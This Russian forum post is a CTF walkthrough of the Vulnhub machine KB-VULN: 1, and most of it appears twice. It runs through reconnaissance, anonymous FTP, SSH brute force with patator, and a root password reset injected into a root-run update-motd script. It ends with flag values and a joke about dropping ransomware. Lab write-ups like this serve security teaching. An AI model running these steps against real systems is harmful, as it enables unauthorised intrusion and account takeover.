Приветствую!
У меня скопилось некое количество записей о прохождении различных коробок с Vulnhub, вот я и решил выложить часть из них сюда. Меньше слов больше дела, начнем с малого, в данном врайтапе представлено прохождение Easy машины KB-VULN: 1 ( Найти и скачать коробку можно тут
Исходные данные:
Имеется атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и flag.txt.
Основная машина (с которой проводится атака) с ОС Kali Linux на борту
Задача: получить 2 флага с целевой машины и права пользователя root. Иными словами - полностью захватить управление над целевой машиной.
После запуска атакуемой машины нужно найти её в сети, для проведения дальнейших действий и сбора информации. Это легко сделать при помощи команды netdiscover:
И видим ip целевой машины в локальной сети, у меня это: 192.168.3.120
Следующий шаг - просканировать машину nmap'ом, чтоб понять какие сервисы на ней имеются и найти исходный вектор для атаки:
Итого, на целевой машине крутится 3 сервиса: 21 порт - ftp (причем с анонимным доступом "anonymous"), 22 порт - ssh и 80 порт - http. Что ж запустим перебор веб-морды и пойдем смотреть ftp:
Login: anonymous
Password: anonymous
Итак, с фтп мы забрали один единственный файл, который могли, но в нем ничего интересного (для данного этапа). Забудем пока об этом и пойдем смотреть, что же там накопалось на веб-морде...
В принципе, кроме index.php интересного мало, есть доступ к каталогу js (и соответственно к его содержимому), icons, images и др., но нам достаточно index.php, т.к. в коде страницы уже есть подсказка, позволяющая проникнуть в систему...
<!-- Username : sysadmin -->
Ну или, как нашел я:
Попробуем забрутить ssh (ну а вдруг...), запустим patator и пойдем дальше шарить сайт (если кто-то будет копировать команду ниже, прошу обратить внимание, на то, что я перенес rockyou.txt в свой домашний каталог Lab, у вас он будет находиться в другом месте):
Дальнейшие поиски в веб-морде ничего не дали (кроме версии Apache 2.4.29, которая и раньше была известна. Данная версия Apache уязвима для CVE-2021-41773, но в данном случае использовать CVE просто незачем.
А вот брутфорс ssh, как ни странно, дал результат, что ж попробуем подключиться под пользователем "sysadmin", с паролем "password1"...
Вуаля, мы на целевой машине, для начала заберем пользовательский флаг:
Пользовательский флаг: user.txt = 48a365b4ce1e322a55ae9017f3daf0c0
Теперь надо получить рут, сначала я хотел использовать любимый метод повышения привилегий, через уязвимости ядра, но у пользователя sysadmin нет почти никаких прав, еще и отсутствуют вспомогательные инструменты (gcc, pip и т.д.), так что придется очень сильно попотеть, еще и не факт, что получится. Так что пойдем иным путем... Помним про файлик, стянутый с ftp? Верно, в нем содержится история команд, которые вводил пользователь, а пользователь редактировал некий файл "00-header", пойдем смотреть, что это:
Ага, ну все ясно, судя по всему, это скрипт, который выполняется каждый раз при подключении пользователей по ssh, причем выполняется под рутом (как видно на скриншоте выше), попробуем модифицировать скрипт и поменять пароль руту:
Теперь, при следующем подключении, через ssh любого пользователя, утилита chpasswd поменяет пароль для рута на "toor" (или любой другой, добавленный ранее в скрипт), осталось только переподключиться и забрать заслуженный флаг:
Рут флаг: flag.txt = 1eedddf9fff436e6648b5e51cb0d2ec7
Все! Машина теперь наша, дальше можно превратить её в кирпич, или закинуть шифровальщик, или задефейсить сайт, все зависит от фантазии)
В заключение: машина оказалось простой, однако на практике нервов она поела не мало. Полагаю есть так же другие пути для прохождения данной коробки, так что, если кто-то найдет другой способ решения, будет интересно, если поделитесь в комментариях...
На этом пожалуй все, в дальнейшем думаю выложить еще несколько прохождений, ну а пока посмотрим, понравится ли эта статья. Спасибо, что дочитали её до конца)
У меня скопилось некое количество записей о прохождении различных коробок с Vulnhub, вот я и решил выложить часть из них сюда. Меньше слов больше дела, начнем с малого, в данном врайтапе представлено прохождение Easy машины KB-VULN: 1 ( Найти и скачать коробку можно тут
Ссылка скрыта от гостей
).Исходные данные:
Имеется атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и flag.txt.
Основная машина (с которой проводится атака) с ОС Kali Linux на борту
Задача: получить 2 флага с целевой машины и права пользователя root. Иными словами - полностью захватить управление над целевой машиной.
После запуска атакуемой машины нужно найти её в сети, для проведения дальнейших действий и сбора информации. Это легко сделать при помощи команды netdiscover:
~$ sudo netdiscover
И видим ip целевой машины в локальной сети, у меня это: 192.168.3.120
Следующий шаг - просканировать машину nmap'ом, чтоб понять какие сервисы на ней имеются и найти исходный вектор для атаки:
~$ nmap -A -p- -v 192.168.3.120
Код:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.3.131
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 95:84:46:ae:47:21:d1:73:7d:2f:0a:66:87:98:af:d3 (RSA)
| 256 af:79:86:77:00:59:3e:ee:cf:6e:bb:bc:cb:ad:96:cc (ECDSA)
|_ 256 9d:4d:2a:a1:65:d4:f2:bd:5b:25:22:ec:bc:6f:66:97 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: OneSchool — Website by Colorlib
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Итого, на целевой машине крутится 3 сервиса: 21 порт - ftp (причем с анонимным доступом "anonymous"), 22 порт - ssh и 80 порт - http. Что ж запустим перебор веб-морды и пойдем смотреть ftp:
~$ sudo dirsearch -u 'http://192.168.3.120' -e js,htm,php,bak,html,txt,jpg,png,jpeg -w /usr/share/dirb/wordlists/big.txt -r -f
~$ ftp 192.168.3.120
Login: anonymous
Password: anonymous
$ cat .bash_history
Код:
exit
ls
cd /etc/update-motd.d/
ls
nano 00-header
exit
Итак, с фтп мы забрали один единственный файл, который могли, но в нем ничего интересного (для данного этапа). Забудем пока об этом и пойдем смотреть, что же там накопалось на веб-морде...
В принципе, кроме index.php интересного мало, есть доступ к каталогу js (и соответственно к его содержимому), icons, images и др., но нам достаточно index.php, т.к. в коде страницы уже есть подсказка, позволяющая проникнуть в систему...
<!-- Username : sysadmin -->
Ну или, как нашел я:
Попробуем забрутить ssh (ну а вдруг...), запустим patator и пойдем дальше шарить сайт (если кто-то будет копировать команду ниже, прошу обратить внимание, на то, что я перенес rockyou.txt в свой домашний каталог Lab, у вас он будет находиться в другом месте):
~$ patator ssh_login host=192.168.3.120 user=sysadmin password=FILE0 0=/home/kali/Lab/rockyou.txt -x ignore:mesg='Authentication failed.'
Дальнейшие поиски в веб-морде ничего не дали (кроме версии Apache 2.4.29, которая и раньше была известна. Данная версия Apache уязвима для CVE-2021-41773, но в данном случае использовать CVE просто незачем.
А вот брутфорс ssh, как ни странно, дал результат, что ж попробуем подключиться под пользователем "sysadmin", с паролем "password1"...
~$ ssh sysadmin@192.168.3.120
Вуаля, мы на целевой машине, для начала заберем пользовательский флаг:
Пользовательский флаг: user.txt = 48a365b4ce1e322a55ae9017f3daf0c0
Теперь надо получить рут, сначала я хотел использовать любимый метод повышения привилегий, через уязвимости ядра, но у пользователя sysadmin нет почти никаких прав, еще и отсутствуют вспомогательные инструменты (gcc, pip и т.д.), так что придется очень сильно попотеть, еще и не факт, что получится. Так что пойдем иным путем... Помним про файлик, стянутый с ftp? Верно, в нем содержится история команд, которые вводил пользователь, а пользователь редактировал некий файл "00-header", пойдем смотреть, что это:
sysadmin@kb-server:~$ cd /etc/update-motd.d/
Ага, ну все ясно, судя по всему, это скрипт, который выполняется каждый раз при подключении пользователей по ssh, причем выполняется под рутом (как видно на скриншоте выше), попробуем модифицировать скрипт и поменять пароль руту:
sysadmin@kb-server:/etc/update-motd.d$ echo "echo 'root:toor' | sudo chpasswd" >> 00-header
Теперь, при следующем подключении, через ssh любого пользователя, утилита chpasswd поменяет пароль для рута на "toor" (или любой другой, добавленный ранее в скрипт), осталось только переподключиться и забрать заслуженный флаг:
Рут флаг: flag.txt = 1eedddf9fff436e6648b5e51cb0d2ec7
Все! Машина теперь наша, дальше можно превратить её в кирпич, или закинуть шифровальщик, или задефейсить сайт, все зависит от фантазии)
В заключение: машина оказалось простой, однако на практике нервов она поела не мало. Полагаю есть так же другие пути для прохождения данной коробки, так что, если кто-то найдет другой способ решения, будет интересно, если поделитесь в комментариях...
На этом пожалуй все, в дальнейшем думаю выложить еще несколько прохождений, ну а пока посмотрим, понравится ли эта статья. Спасибо, что дочитали её до конца)
Последнее редактирование: